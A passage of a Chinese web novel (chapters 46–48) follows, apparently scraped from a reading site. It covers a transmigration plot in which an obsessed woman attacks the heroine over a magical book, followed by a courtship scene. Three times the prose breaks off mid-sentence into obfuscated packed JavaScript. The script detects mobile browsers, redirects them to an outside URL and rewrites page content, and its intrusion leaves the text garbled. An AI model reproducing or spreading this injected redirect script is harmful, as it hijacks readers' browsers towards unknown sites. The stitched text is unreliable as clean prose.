“你真以为我是因为这个才害你?哈哈哈你错了。” 蒋菁媱魔怔了一般,发出森森的笑声,“我告诉你,你们对我根本就不重要,爱死不死,爱活不活!只是……”她顿了顿,眸底泛着污浊的光。 “只是你千不该万不该,不该把那个贱女人介绍给哥认识!我明明喜欢了他那么多年,凭什么你介绍的那个女人随随便便就能得到他?!” 沈今禾不禁毛骨悚然,“疯子!” “随你怎么说。”蒋菁媱一改方才的语气,眼神无比柔和又眷恋地看向郑元。 “不过现在好了,哥,这个时代没有那么多伦理的枷锁,你不用再刻意回避对我的感情,我们终于可以光明正大的在一起了。” 郑元有些作呕,闻言瞪大了眼睛,“你真是疯了!我何时对你生过那种龌龊的心思?!” 蒋菁媱还保持在坐在地上的姿势,听罢脸色白了白,手脚并用的爬到郑元脚下,死死拽住他墨袍一脚。 “我不信,我不信你不爱我,哥明明以前对我很好的,什么都愿意听我的,什么都陪我一起做,为什么,为什么蒋菁乔给你介绍了那个贱女人后,你就要抛弃我了,要对我如此冷淡?” 郑元有些站不稳,抚着胸口道:“混账!” “她是我的未婚妻,也是你的嫂嫂,你怎么能说出如此丧心病狂的话?”他牙关止不住地打颤,连着调整了好几次气息才将自己稳住。 “今日我就当着阿乔的面,再原原本本地回答你一次,我从来都是只把你当妹妹看待,从未有过半分违背伦理的念头。” 郑元实在是站不住了,坐下来用双手撑着额头。 以前蒋菁媱也不是没有向他表明过心意,他只当是表妹年幼不懂事,错把自己的爱护当成朦胧的爱情,何况他一个大男人,怎么好意思把这件事闹得全家皆知,所以就是能躲就躲,能避就避。 后来她结了婚,郑元心里悬着的石头这才放下了,心里暗自庆幸,还好那只是她孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈今禾心里说不出的疼,这么贵重的东西,李怀远不会全都让她一个人赔吧。 不待她计算出被损坏物件的数额,忽听郑元惊呼一声:“阿乔小心!” 还没来得及抬头,就见蒋菁媱从那堆狼藉之中拾起了一片尖锐的玉箫残渣,朝自己的脖颈处划来。 她双眼通红如魑魅,“蒋菁乔你去死吧!谁叫你把那个狐狸精带去舅舅家里!谁叫你给表哥告状让他如今厌弃我!” 沈今禾来不及多想,下意识就是一脚,紧接着“噼里啪啦”一阵混响,蒋菁媱被踹飞,吃痛地撞在身后的屏风上,金丝玉贵的屏风连着后面的檀木书架瞬时齐齐全倒了下来。 古董、典籍散落一地。 闭了闭眼,沈今禾知道这下是怎么都赔不起了。 郑元贴在小轩窗边的案几上,愣愣地张着嘴巴说不出话来。此前他得知蒋菁媱要杀小表妹的时候,即便再惊愕,那也是经由旁人嘴里说出来的,此刻竟亲眼目睹了她痛下杀手的疯癫模样。 让他怎么能不心惊。 沈今禾按了按额角,正想问郑元身上有没有多余的钱财,反正他都要回去了,这里的硬通货又用不上。 一抬头又看见他那张让自己极为熟悉的面庞,突然有什么答案在她心里呼之欲出,她用力去想,却始终隔着一层雾看不得真切。 再想想,就快抓住了…… “哗啦”一声,脑海里那层屏障终于被冲破开来,她想起来了! 沈今禾有些手抖地从枕头下取出自己一直随身携带的那本书,也就是连接两世的载体,快速地来回翻找,直到看见一页纸上面画着的男主插画,才蓦然停了手。 这是一副与郑元的古装扮相几乎一模一样的画像。 “怎么会?”沈今禾只觉得自己的脑子已乱成了一团麻,丝丝缕缕缠绕在一起,剥都剥不开。 难怪她见表哥时总有一种在哪里看到过的错觉,却万万没想到那人就是本书男主。去年时她随李怀远一起出城送三皇子,那时三皇子脸上带着半块面具,致使她看不清他长的什么样子,也并未在意此事。 今日再回想,突然就冒出一个大胆的想法,瞪大了眼睛盯着蒋菁媱:“难道这本书是你写的?!” 蒋菁媱应该不至于变态到专门创造出一个有表哥替身的世界,以供她亵渎吧!太寒恶了…… 46.第 46 章 不过先不论她到底有没有这么变态,单说技术,这也是不可能的事情,如果谁都能写本书就能将其变成活的世界,那整个时空还不乱了套了。 方才被沈今禾一脚踹飞之后,蒋菁媱也不闹了,安安静静坐在书堆里发呆,像个模样精致的破布娃娃。 听见有人问她话,蒋菁媱这才从思绪中转过头,盯着沈今禾手里的书,嗤笑一声,不屑道:“我怎么会写这种破书。” 那就好。沈今禾默默在心里想,还好她没有丧心病狂到这种地步。 书堆里那人眼神转而柔和起来,似看神明一般,虔诚望着书中的画像,“不过这插画的确是我画的。除了我,再没人能画得出如此栩栩如生的阿元了。” 搓去胳膊上的鸡皮疙瘩,沈今禾觉得自己大概已经捋清了这件事的来龙去脉。 “你给《神医嫡女2之祸国妖妃》这本书投过插画稿?” “记不大清,或许投过,或许是放在公共平台被盗用了,反正我画过那么多阿元的画像,早就被传烂了吧。”蒋菁媱平静道。 沈今禾也没有指望她会回答。 见她不再鬼哭狼嚎,心里还挺讶异的,难道说她的疯病是一阵一阵的?如同叶绥那日所说,她发疯鞭笞奴婢之后,还能什么事都没发生过似的笑盈盈同王妃闲谈。 “也就是说,这本实体书出版之后,你无意中看到了男主的插画,是一张几乎与表哥一模一样的脸,所以你才会逃进书里,把他当成表哥的替代,打算与他……” “对,没错。”蒋菁媱还是冷冷的,没什么表情。 难怪她方才发疯时说,我自会在这里陪着另一个你…… “可你应该知道,书中的情节是人为无法改变的,就像这本狗血文,三皇子终将会登基为帝,和那个神医女主在一起。” “我岂能不知。”蒋菁媱冷哼了一声,“怪就怪那个女主没有进鬼门关的当口,所以我没有办法穿到她身上。不过那又怎样?故事一旦走入大结局,所有人都将不再为剧情服务,自然也不再受任何角色的限制。” “我等的就是这一刻。”蒋菁媱目露凶光,脸上却笑盈盈的,整张面容呈现出一种诡异的不协调感。 “原本我就是打算先来浔阳确认沈今禾是不是你,待杀了你之后,再解决掉那个医女,从此与阿元和和美美的过日子。” 她说起“阿元”时,眼里尽是斩不断的绵密爱意。 表哥或许还会厌弃她,冷淡她,背叛她,但她幻想中的那个“阿元”绝对不会。沈今禾直觉她是把本书男主当成了任自己拿捏的傀儡。 想象总是很美好的,却不知男主也是活生生的一个人。 “不过现在表哥来了。一定是上天也觉得我们此生的缘分未尽,才叫他来与我会面的。”蒋菁媱比方才平复了很多,只一双眼睛黏糊糊地盯着郑元。 “……”上天还没疯。 沈今禾按了按隐隐憋闷的胸口,深觉自己以后再也没法直视“表哥表妹”这个称呼了。 半晌未曾开口的郑元张了张口,神色复杂道:“你当初结婚,就是为了偷偷获取组织中高层人员的内部权限,进来这本书里?” “当然了。”蒋菁媱一副理所当然的样子,“难道我要眼睁睁看着哥跟那个贱人生儿育女,恩爱一辈子吗?” 她痛苦地回忆道:“当时蒋菁乔把那个女人介绍给你认识时,我气不过,想着怎么把她弄到一本满是酷刑的书里,让她受几天折磨再出来。可当我得知哥要结婚时,只恨不得她立刻去死!” “我还要谢谢蒋菁乔呢,要不是她,我也不会无意翻到这本有哥插图的书。说起来一切都是天意,就在那个时候,你介绍了那个什么组织的人给我认识。” “所以你就骗婚?!” “他活该!谁让他非要追我,还自爆是穿书组织的人,说自己权利如何如何大,还跟我显摆他的内部权限。” “……”沈今禾默默在心里想,以后一定要教导系统不能做普信男。 蒋菁媱不屑道:“蠢货,被我一问,就什么都肯说出来,还洋洋得意以为我多崇拜他呢。要不是他,我还不知道有载体这么个东西。” 提到载体,沈今禾握着书的那只手不可察觉地一颤,蓦地想到了什么,将书往身后一藏,连连退了好几步。 几乎同一时间,说话之人的声音戛然而止,似是也反应了上来,一把拾起身子就气势汹汹朝着沈今禾冲来。 郑元还没来得及记完蒋菁媱的犯罪笔录,就见那两人已经混成一团扭打起来了。 也不知是不是被系统影响了,沈今禾下意识就骂了句脏话。这女人看着柔柔弱弱,跟水做的差不多,也不知哪里来的一股牛劲儿,自己竟然有些拿不住她。 蹲在墙外的陵光也愣住了,他此生还没见过女人打架呢,且还是两个如花似玉的姑娘家,正张口说:“世子要不要进去……” 只听风声呼啸,旁边那人已经早没了影。 几乎是一眨眼的功夫,一把冰冷的利剑就架在了蒋菁媱脖子上,“撒手。” 寒凉的触感袭来,蒋菁媱不禁打了一个哆嗦,待看清来人后,这才咬着牙不甘地放开了沈今禾的衣襟。她也并不是还想在李怀远面前装什么慕容天仙那一套,又不是真的爱慕他。 只是惧怕李怀远那个疯子真的有可能会杀了自己。 她虽然疯,可还不至于故意求死,况且如今她的阿元来了,她还要与他白头偕老呢,怎么能轻易死去。 故而眼睁睁看着沈今禾拍拍衣袖的尘土起了身,又将那本书锁在了一个机关匣子里。忍了又忍,终是没忍住。 “你把那本书给我,我答应不杀你,从今往后,我们各不相干。” 郑元这才意识到,蒋菁媱是打算毁了这个连接本书与原世界的载体。因为载体一旦被毁,传送端口中断,几个人被困此处就再也回不去了。 那就正好顺了她的意。 其实沈今禾也不十分怕这书被她抢了去。 还记得之前驸马无意从湖底打捞上书来,当时他说,此书泡了那么久的湖水,不仅没有腐烂,而且连上面的泥渍也都全部消失了,竟如崭新的一般……足以说明载体轻易是不可能被毁坏的。 沈今禾思忖道,大概率这本书是用手撕不烂,用火烧不尽,用水也泡不化的。蒋菁媱应该是知道这一点,否则当初她也不会为了避免系统搜索到自己,而把书沉到湖底去。 几个人各怀心事,一时间都沉默不语。 只有李怀远一头雾水地站在当中,明明是自家府邸,却跟个外人似的,完全听不懂他们在说什么。 蒋菁媱似乎还不想放弃,双眼充满血丝地盯着沈今禾,“我既然能说出口,就绝不会再杀你,快把书给我!” 她确实没有骗沈今禾,原本恨她皆因那对该死的夫妻和对阿元的爱而不得。这些年沈今禾得到了自己应有的惩罚,前半部分的恨意自然抵销了不少,现在只要她再把载体交出来,那么她可以就此放过她。 再说如今阿元来了,只要他能留下来,沈今禾是生是死都对她不重要了。 李怀远像是听到了什么天大的笑话,都不知自己该做出什么样的反应,她要杀谁?沈今禾?是这个女人疯了还是他疯了? 于是尽力平静且面带微笑地问:“你预备怎么杀她?” 蒋菁媱没看说话之人,而是意有所指地盯着沈今禾,“不是我要杀她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566551|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大郅律法容不下她。” 身体一僵,沈今禾不由得握紧拳头,随之立即恢复了神色,连忙对郑元道: “慕容姑娘既与表哥是旧识,想必你二人还有许多话要说,我身子乏累,就不打扰你们叙旧了。” 不管蒋菁媱有没有十足的证据揭发自己,这事都万万不能让李怀远知道,沈今禾很怕他知晓后秉公处理,可她更怕的是,他不处理反而替自己谋划起来。 这趟浑水,沈今禾不愿把他牵扯进来。 郑元也不是什么愚钝之人,自然知道有些话是要避开这位凌安王世子的,于是凑近低声道:“她隐藏了系统暂时没法触发强制返回,我先回柳府去,等给组织汇报完之后再来和你商量对策。” 沈今禾点头,她知道郑元一走,蒋菁媱肯定要跟着走,绝不多留。 待那二人离去后,正巧昨日郎中开的药煎好呈了上来。 满屋狼藉,李怀远寻了块勉强能落脚的地方坐下,就这么看着沈今禾一口一口地喝完了药。 “我要、要赔多少银两?”沈今禾被他盯得有些头皮发麻,不敢去看碎了一地的物件。 李怀远一愣,须臾才反应上来她在说什么。 顿时觉得她抠抠搜搜在脑子里算账的模样十分惹人笑,没忍住笑出了声,故意说:“当日你进宫受赏,陛下不是赏了你百金么?” 沈今禾心道,这屋子的东西哪一件不是值钱货,要真赔起来,赔完估计也就只剩下里衣了。 于是打着商量道:“世子,稍后待我归置一番,完好无损的那些自当放回原位,损坏了的,咳,该是谁赔就谁赔……那个,玉箫和笔墨纸砚是慕容宛弄坏的,案卷那些是郑元扫到地上的。” “要算得这么细吗?郑元不是你表兄么?” 沈今禾想到系统的那个将军梦,将来打点关系还不知道要花多少钱,再苦不能苦孩子,那百金不能折在这种地方,于是一咬牙道: “新兄弟,明算账。” 李怀远憋着笑,“行。” 接着也没再说什么,内室又安静了下来。沈今禾顿了顿道: “世子没什么要问我的吗?” 方才几人争执不休,李怀远不可能没听到些什么,即使他听不懂,也该有所疑问才对,再说自己与慕容天仙抢夺那本书,一个是大郅官员,一个是天下闺秀典范,两人皆丝毫不顾及形象的在地上打滚互挠,此等场面实属是罕见了。 这要是被春花宴那群夫人看见,少不得要编排三天三夜。 即便见多识广如李怀远,这场景也该是头一遭见吧? 正想着,就见那人起身朝自己走来,斜靠在榻柱上笑了笑,反问道:“那你有什么想说的吗?” 沈今禾闻言一愣,垂眸想了想,诚实道:“这件事太复杂了,我是真不知如何开口。” “好,那就等你想清楚的时候再说。” 这么爽快?他这一招君子之道反倒让沈今禾有些晕头转向,一时揣测不出他心里怎么想的。 其实李怀远心里多少已经有些谱了,之前让人暗地查了不少沈府尚存的旧人,已然确认了沈今禾不是沈云期嫡孙女的事,或者说,他眼前这个小骗子根本就不叫沈今禾。至于良馀贱籍…… 虽只是猜测,但大约与沈今禾也有些关系。 不过他觉得纠结这些也没什么意思,左右名字只是个供人叫的符号,管她叫张三还是李四,反正他认识她的时候她叫沈今禾,那她就是沈今禾。 至于身世就更不重要了,沈今禾是个什么样的人他比谁都清楚,半点不需要借其家世来佐证她的品行。 他现在查她过往,也不过是想知晓其中原委,好帮她一把而已。 47.第 47 章 春意渐浓,万物和鸣。 休养了几日,沈今禾觉得自己好了大半,当然,这主要归功于李怀远一日三次,寸步不离地盯着煎药的药炉,一滴不许洒地全灌入了她口。 沈今禾苦不堪言,苦得干呕,边呕边道这种事该纳入十大酷刑才对。 系统每隔一天就会来王府一次,原本定的是它化作男相时可外出活动,化作女相就乖乖待在驿馆,现在倒反了过来。 因为王府众人已经见过沈今禾小侄女的样子了,未免旁生枝节,还是不要让小公子模样的系统再露面的好。 “可我总用女孩子的身体同陵光学功夫,效果会不会不太显著?” 沈今禾拍了拍她的肩膀,“说不准你捏的那个小公子资质平平,反倒是我捏的这个女娃娃根骨极佳,再说自古又不是没有过叱咤风云的女将军。” 系统瘪瘪嘴,自是没信。 一低头,赫然看见手里的屏幕亮了亮,打开一看,原来是郑元给她转发了一条消息。 “这什么玩意儿?!”系统手指来回划过一堆乱码。 沈今禾凑上前一看,也愣了愣,随即又反应上来,“应该是担心被蒋菁媱看到,所以设置的加密文字,你作为内部人员也看不懂吗?” “……我试试。”系统一边破译,一边听沈今禾讲述郑元来王府探病那日的事情。 闻言差点惊掉下巴,“这、这么劲爆吗?!他们俩可真是比我去过的上百部霸总文还要狗血。” 想想又觉得不对,疯的是蒋菁媱,其实郑元还蛮惨的。 沈今禾道:“对了,你知道彻底毁掉载体的方法吗?我怀疑蒋菁媱那日抢它是想毁了它,好让表哥也回不去。” “不清楚,这种应该属于机密了吧。我只知道它剪不断,烧不化,也泡不烂,总之非一般的人力能毁的。” “可是。”沈今禾似是想起了什么,有些忧心道:“当初这本书被沉入驸马院外的湖底,导致书中世界与外界断联十八年,此事蒋菁媱是知道的……这次她会不会故技重施?” 就算不能彻底毁了载体,只要能暂时切断与原世界的联系,那么郑元就无法启动返回系统,到时候照样还是回不去。 沈今禾心有余悸,还好书没被她抢走。 一提起驸马,系统立即想起件事来。 “当初驸马留给你的那封信里说,他能在书中为你添注一笔,全靠一位叫蒋菁媱的仙人提点,也就是说,在这之前蒋菁媱在驸马院是见过载体的,那她为什么不当时就把书拿走,还非要提醒驸马,蘸了指尖血就可以在空白处写上字。” 沈今禾点了点玉案,若有所思:“一来,她当时应该是与秋弥国的小侯爷入京拜谒的,即使拜访驸马,安乐也一定在场作陪,她肯定没有办法轻易得手。” “二来,你出现那日有系统提示音,她那时应该就已经意识到了我根本没死,而是换了个身份继续活着,所以是想用这个载体引我出来吧。” 系统道:“还是有点说不通,她干嘛不自己直接抢过来把剧情改了,就写三皇子最终爱上慕容宛了,反正她来这个世界,不就是奔着郑元那个替身去的么。” 不待沈今禾答话,又自问自答地摇了摇头,“哎不对,落笔只能落在空白处,而那本书的空白处在中间位置,她就算写个一句半句的,也改变不了最后男女主在一起的事实,索性就不写了吧。” 想起那日蒋菁媱说起书中男主时的语气,沈今禾道:“不知为何,蒋菁媱好像很笃定这本书大结局之后,男主会舍弃女主转而和她在一起?” “那谁知道。”系统耸耸肩,“说不定男主意识觉醒后,还真就喜欢擦边网红型的。” 沈今禾托着下巴不知在想什么,这时,系统看了看屏幕中显示出来的几行字,忍不住哈哈大笑起来。 “郑元说,他劝了蒋菁媱好几日,好说歹说才让她同意把那个隐匿了的系统交出来。不过,作为交换,郑元要陪她一起……哈哈哈哈哈,他这也算是牺牲色相为人民除害了。” “!”沈今禾抓狂:“表哥疯了吗,他怎么会答应?!” “你想什么呢?”系统捂着肚子,擦了擦眼泪花,“蒋菁媱要郑元陪她一起看星星看月亮看大好河山啦!” 长吁了一口气,沈今禾设身处地想了想,“唉,这也没好到哪里去吧。表哥真惨。” “哼,谁叫他之前对你站着说话不腰疼的,现在轮到他自己被恶心了。”系统双手叉腰,“人都是这样,只有事情落到了自己头上,才不会放屁说什么得饶人处且饶人。” 敲了敲眉心,沈今禾想到表哥忍辱负重陪蒋菁媱游山玩水的场景,简直一脑门的官司,“唉,这都什么事啊。” 她对蒋菁媱从一开始的淡然,到后来被害后的惊诧与憎恶,再到现在的无语,真真是觉得心累。以蒋菁媱做了这么多事的能力来看,如果当初去应聘穿书组织,说不定现在都已经做到高层了,干嘛非跟个男人过不去。 而且那人还是自己的表哥。 但愿他们游完山水之后表哥能顺利将她遣回,不要再生出什么事端了。 正想着,院门“吱嘎”一声被人打开,两道熟悉的声音传进屋内。 一个是妇人轻柔细腻之声,只是略带不满,“这是女儿闺房,你一个大男人跑这儿来干什么?” 另一个不羁的声音道:“我作为上司来探望自己的属下,碍着您什么事了?” “没大没小的,怎么跟为娘说话!”王妃作势要打人,李怀远轻巧一躲,躲在了檐柱后面。 王妃瞪了他一眼,还不待敲门,房门已经从里面打开了。一个杏眼圆脸的小姑娘探出脑袋,一看来人果然就是府里最尊贵的那位,赶忙乖乖打过招呼。 王妃知晓系统和陵光在后院习武的事,揉揉她脑袋,笑着问了几句与练功相关的,见她往后院去了,又步履生风地走至榻前,神色担忧道: “沈编修身子可好些了?王爷今日也回府了,你是女眷,他不便前来探望,叫我代为问候问候你。” 沈今禾抖了抖,她怎么敢劳烦凌安王来看自己,还不待回话,又听王妃叹了口气道: “哎,这叫什么事,怎么好端端的突然就气吐血了?我这才知道此事,你仔细说,是被怀远气的么?” “不、不是。” 王妃暗暗自责,春花宴结束后,她只顾着与上京孟尚书家的夫人促膝长谈,因着两人是手帕交,此次孟夫人来府上做客半月有余,翌日一早就要走,王妃不舍,亲自将她送出城外十几里。 正要返程,谁知正巧撞上凌安王的随从前来回话,说王爷寻访故友再有两日就回来了,王妃私想着,那就在庄子上等一等,再与王爷一同回城。 谁成想前脚刚踏进府邸,后脚就听荷华说沈编修吐血了! 沈今禾这孩子,瞧着总是瘦瘦弱弱的,这些年来饭没好好吃几口,苦头倒是一点没少吃。虽然郎中说淤血吐干净了便无碍,但总归是去病如抽丝,还是得好好将养一阵。 边想边风风火火朝屋外的女使道:“吩咐东厨每日都煲些滋补的药膳来。” 沈今禾一听“药膳”二字,瞬间一个头十个大,再一听王妃口中念出来的药材品目,实在珍贵得叫人心尖直跳。 她突然在想,王府的人会不会觉得自己是专程来碰瓷的。 正要回绝王妃,却见李怀远大摇大摆地走进来,朝自己眨了眨眼,仿佛料到了她要说什么。 “她既要给,你就收着,有便宜不占是傻子。” 想想又道:“再说你要是喝不完回头高价卖给柳南钦,他那副身子一向都需要大补。当然,最重要的是他钱多,你卖了钱再赔给我,岂不是一举多得?” “好像挺有道理。”就是总感觉哪里怪怪的。 还没等沈今禾还没想明白,王妃就已经将李怀远轰了出去,轰完又重新坐在榻边。 她梳着蕴藉持重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578450|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘桓髻,头上只插了支嵌玉花双珠纹金发簪,说话时总是带着明艳又大方的笑意,浑身上下都充满朝气。 沈今禾不由得想,若是和这样的人久居一处,想必什么烦恼都要烟消云散了。 两人说了会儿闲话。其实沈今禾不太懂得如何跟长辈打交道,以前在掖庭左右逢源,是因为不用拿出敬畏之心,自然能应付得游刃有余,现在面对王妃,中间夹着个李怀远,肯定就变得不一样了。 好在王妃也不是个什么爱端架子的人,无非就问了些李怀远在上京城如何如何,吃穿用度之类。 说着说着,王妃就握起了沈今禾的手,难得的有些羞赧。“沈编修,有件事我和王爷已经商议过了,现在想来问问你的意见。” 沈今禾眉眼一跳,似有不好的预感。果然—— “你觉得怀远怎么样?”王妃双眸闪闪发亮。 沈今禾尴尬道:“王妃何不先问问……世子怎么想的?” “诶,他怎么想不重要,重要的是沈编修如何想?” 正在听墙角的李怀远:“……” 身子往后靠了靠,沈今禾挠挠头装傻:“世子乃人中之龙,在上京城威望素著,朝中不少臣工都有意向同王府结亲。” 王妃笑着说了两句“哪里哪里”,却是没有再深入往下问了。 她头一回做这种给人牵红线的事,且一头还是自家儿子,况且沈编修家里也没个能主事的长辈,她也不好叫媒婆带着纳采之礼直接去找沈今禾本人,万一人家孩子根本不乐意,到时候闹个尴尬事小,毁了姑娘名声可就罪过了。 再说一牵扯上媒婆,难免有几分借着王府的权势施压的意思,这样不好。可是让荷华跟叶绥去说吧,恐又说不清楚,失了礼数。 真真是左右为难,愁死人了。 王妃心力交瘁,顿了顿道:“那你觉得我怎么样?” 沈今禾默然:“……” 这都什么跟什么。 这时,李怀远再度进了屋子,只不过这次倒没大摇大摆,而是直接对着王妃说: “方才见父亲好似有急事找您,您快去吧,沈编修本就在伏案务公,被您耽搁了半晌,怕是又要掌灯熬夜了。” 王妃一想也对,生了病该多歇息才是,自己一直在这里难免吵嚷到她,便道:“那你歇着,我明日再来看你,公事嘛慢慢做,也不急于这一时,还是身子要紧。” 沈今禾笑着谢罢,见王妃走远,不由感慨:“王妃真是个好人啊。” 李怀远想到她曾经也给自己贴过“大好人”的标记,挑了挑眉,“你好歹也是翰林院的文士,怎么夸人就只会用‘好人’这两个字?” 本就是故意逗她的,说完也没在意,不想沈今禾却认认真真地回道:“那些冠冕堂皇的话都是用来与人交际的,‘大好人’才是真心话。” 说罢李怀远一愣,倏地就想起两人初识时,沈今禾那些捧人话的确是信手拈来,什么如渊之清如玉之洁的,霎时脸色就有些不好看了。 沈今禾自然没注意到他又在自己跟自己闹别扭,只管坐在案前整理柳老先生的手稿,这一部分未装成册的是他几年前著的前朝通鉴,想必也是呕心沥血了的。 李怀远左右无事,便主动担任起小书僮的职责,在一旁安静地站着研墨,余光恰好瞥见纸上写着的那句“前事不忘,后事之师”。 忽而就想起了瞿广来。 那会儿凌安王刚一回府,他就去主院问了瞿广之事。凌安王讶异道:“你问这个做什么?” “好奇。” “你若是这个态度……”凌安王眯眼。 李怀远道:“好吧,实话说,我想查明当年真相。” “然后呢?将真相公之于众?” 李怀远默了默,没接话茬,反而分析起了此话的画外音,“您既然有此一问,那想必现在史册中记载的就一定不是真相了?” 否则怎会有公布真相一说。 48.第 48 章 凌安王咬咬牙,有一种想打死这个逆子的冲动,小兔崽子还真是什么话都敢说。 平复了片刻才道:“我可没说过这话,你祖父也未曾给我讲过什么瞿广的事,你少扯一些莫须有的来试探我,当心我到你母亲那里告你一状。” 李怀远对自家父亲的秉性再了解不过,见他开始插科打诨,就知道从他嘴里问不出什么来了。 其实他也知道凌安王心中所虑。 自古乱世多仰赖武将,有功之臣封王拜侯并不少见,可到了治世年间,这些异姓王难免会遭君主忌惮,处境微妙。他祖父是个直肠子,才不管朝堂上那些暗流涌动,可父亲却不同,他是个极擅藏拙、明哲保身之人。 李怀远从小受祖父教诲,性子更随老凌安王一些,故而这些年也没少与凌安王起争执。好在每回都有王妃在当中调停,王爷又闲云野鹤惯了,凡事想得通透,才不与他这个儿子计较。 李怀远想了想,也没瞒着沈今禾,“父亲应是知道些什么,但他怎么都不肯说。” “无碍,多谢世子挂念此事。”沈今禾面上不显,其实心里多多少少有些失落,她之前听了李怀远的豪情壮语,内心燃起了一丝火焰,还以为…… 如今冷静下来一想,才意识到此等大事岂是轻易能做成的,心中那一簇火苗便渐渐地熄了下去。 窗外的光影不知何时移到了锦绣山河的屏风上,沈今禾忽然想起一事,问道: “世子许久不回上京上朝,当真不算旷阙么?” 李怀远道:“前阵子算是告假,这阵子么,实不相瞒,陛下暗中给我安排了要紧的任务。” 紧接着眼珠一转:“想知道么?” “什么任务?” “不告诉你。” “……” 日头悄悄爬满书案,照在笔架的几支紫毫上,雕花窗开着,院外小径吹来阵阵芳香。两人各做各的事,有一搭没一搭地聊着,茶气书香,一半一半。 “过几日就是上巳节了。”李怀远冷不丁提了一句。 沈今禾搁了笔,略微好奇,“浔阳百姓似乎很注重节日习俗。那日城内会有什么活动吗?” “很多。”李怀远道:“祓除畔浴,曲水流觞……不过青年男女们一般最爱去圭峰看暮霭,祈求姻缘圆满。待太阳落了山,他们便会相伴一起到后山放天灯。” 提起圭峰暮霭,两人都默了片刻。 沈今禾想换个话题,却不知李怀远是不是故意的,偏就着这个话头说了起来:“你曾说,未看过浔阳三景甚是遗憾,那你愿不愿意……上巳节同我去圭峰看一次暮霭?” 他的语气稀松平常,翻着手里的书册头都没抬一下,就像是一个普通的日子里,邀约三五好友一起打马春游。 可李怀远内心清楚,他方才说的很明白,青年男女,祈求姻缘,沈今禾不会不知这一声邀请意味着什么。但他不敢看她,当初他多狂傲啊,差一点就求天子赐婚了。 曾经他那么笃定两人爱意相通,笃定赐婚时那人会说上千万遍愿意…… 现在却望而却步,连一句囫囵话都问不出口。 他知道沈今禾有苦衷,有自己的考量,所以不想逼迫她。如果此生无缘成为眷属,至少希望她能够按照自己的心意好好活着。 “没关系。你再想想,到时候我在碧云寺的崖庭等你,你要是没来,我就自己逛一逛,左右我是每年都要去凑热闹的。” 字间落了一点墨,逐渐晕染开来。沈今禾从窗中看李怀远神色如常地出了小院,又神色如常地同府里的老官家打招呼,不觉叹了口气。 这可如何是好…… 蒋菁媱的事还悬在心头,犹如一把随时会落下的铡刀。瞿广将军的事也没查明白,良馀贱籍四个字如魔刹般将她围困,那个被李怀远点燃的光亮仿佛遥不可期。 她深知如今异姓王处境不易,若自己真与李怀远成了亲,他日若身世败露,整个凌王府的身家性命可就在永昌帝一念之间了。 可有时候她也在想,是不是再勇敢一些,她这一方贫瘠的天地,也会有容纳春日万象的一天。 …… 枝上柳初芽,杏初花,到了上巳节这日。 几只杜鹃在枝头嬉戏,发出叽叽喳喳的鸟鸣声。用过午膳,沈今禾在后院通往中庭的长廊中踱步消食,远远看见一众人正在重檐亭中忙忙碌碌。 走近一看,原来是在扎天灯。 地上散着许多竹篾,叶绥正学着老管家的手势制作方架,“今禾,你要不要也做一个,听说天灯亲自做的许愿才灵验呢。” 沈今禾对这些小玩意儿不太感兴趣,边帮荷华固定住要在架子上糊的纸,边回:“怎么你们都信这个?” 再一看旁边七八个女使,陵光,连同系统,都在手忙脚乱地扎方架,不知道的还以为进了什么天灯作坊。 荷华笑道:“什么信不信,过节就是图个热闹么。” 她生来手巧,已经做完了第二个。沈今禾看着荷华手里的大红灯笼,深觉她近日是跟着叶绥和系统混久了,人也没以前端着了,说话做事也都俏皮了几分。 真是令人欣慰。 沈今禾无所事事地巡视了一圈,目光落在系统身上,她今日恰巧是女儿相,一大早就来了王府。 “你不去后院练功吗?” “不去。待会儿我要同他们一起去梅溪折柳枝呢,说是可以去灾去厄什么的。” 还真是什么热闹都爱凑。 “你昨天不是还说冰冻三尺非一日之寒,要起的比鸡早,睡的比狗晚,每日勤加练功么?” “哎呀,你都有休沐日,我总不能真的一天都不歇吧,我又不是骡子不是马。” “……” 叶绥道:“对哦,今日就是休沐,今禾你要不和我们一起去梅溪吧?” 沈今禾顿了顿,想到还有些公务没处理完,便道:“我就不去了,你替我操心好十七,别让她往河里跑。” 叶绥还想再劝几句,一抬头,正好看见王妃从前厅的拱门走了进来。 王妃人未近声先至,“老衢,你可见着怀远了?跑哪去了这是。” 衢官家停下手里的活计,微微颔首:“回王妃,世子一大早就出门了,走的时候手里还拿着两个天灯,让人套了马车朝城外去了。” 王妃一愣:“难道去圭峰了?” 又道:“怪事,他向来不喜人多的地方,今日这是怎么了?哎,每年上巳节就数圭峰人最多,难不成他这是去卖天灯了?” “不会不会。”叶绥摆摆手,“往好处想,他有可能只是去出家了。” “……”这是哪门子的好处。 见众人都盯着他,叶绥忙不迭解释:“我的意思是,他有可能只是假装去出家,以此来反抗王爷的压迫,就像我之前对我爹的那样。” “什么意思?” 